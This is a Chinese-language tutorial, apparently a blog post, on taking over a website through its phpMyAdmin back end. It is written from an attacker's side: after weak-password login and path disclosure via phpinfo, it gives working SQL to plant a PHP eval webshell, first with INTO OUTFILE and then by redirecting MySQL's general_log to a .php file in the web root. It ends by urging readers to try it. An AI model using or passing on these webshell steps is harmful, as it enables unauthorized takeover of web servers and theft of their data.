浅谈phpMyAdmin后台下的提权

想象我们正在日站的时候:

  • 假如我们通过爆破目录等方式找到网页的后台

后台界面

  • 然后弱密码进入后台
    进入后台

  • 查看phpinfo,获得网站在该服务器上的绝对路径
    敏感路径泄露

这样,就像一个赤裸裸的身体摆在我们的面前。我们除了获取数据之外还能干什么呢?肯定是提权啦!

提权

方法一:在数据库中建表,存入一句话木马,然后导出文件

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[baji]);?>');
select cmd from a into outfile 'D:/phpstudy/www/d.php';
Drop TABLE IF EXISTS a;     一句话连接密码:baji

当我们点击运行语句后,竟然报错:

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

这里是因为设置了secure_file_priv,不能执行;想要修改其值,得在配置文件中修改,没拿到权限修改不了。所以这条路是行不通的。
果不其然,我们查看下检测插入条件

SHOW VARIABLES LIKE "secure_file_priv";

secure_file_priv的值
该键有值,NULL则为不能导出,如果有其他值的话,则只能导入这个值指定的目录。只有空的情况下,才可以导出。

方法二:通过日志记录功能插入一句话木马

检查日志记录相关的全局变量的值:SHOW VARIABLES LIKE "general%";

日志键值

这里,我们将它设置为 ON

set global general_log = "ON";

开启general_log 的作用:开启它可以记录用户输入的每条命令

SET global general_log_file='D:/phpstudy/WWW/xiaoma.php';
select '<?php eval($_POST[biaji]);?>';

设置日志文件的路径,然后执行SQL语句,这个语句将被记录在日志文件中。
一句话写入成功
执行成功后。

这样,我们用菜刀,一句话密码:biaji 连接这个日志文件
菜刀连上
看,已经连接上了,我们再看看日志文件内容长什么样
日志文件内容
可以看到,日志文件里,完整地把“写入日志里,再加上文件后缀为.php,所以菜刀可以轻易地连上。

最后,我们通过 爆后台+敏感信息泄露+一句话木马文件导出 等组合拳成功将网站提权。

从这里我们可以看到,小小的失误都有可能成为对方提权的手段,像敏感路径信息泄露这种,谁曾想到在这个提权过程是起到关键的作用的:如果没有绝对路径,我们是不知道把文件建立在何处,更不用说通过菜刀去访问它了。

所以,星星之火可以燎原,不管是网站维护人员还是平常上网的人们,都应该重视这些网络安全问题,提高自身的安全意识。
小伙伴们也亲自动手操作试试看吧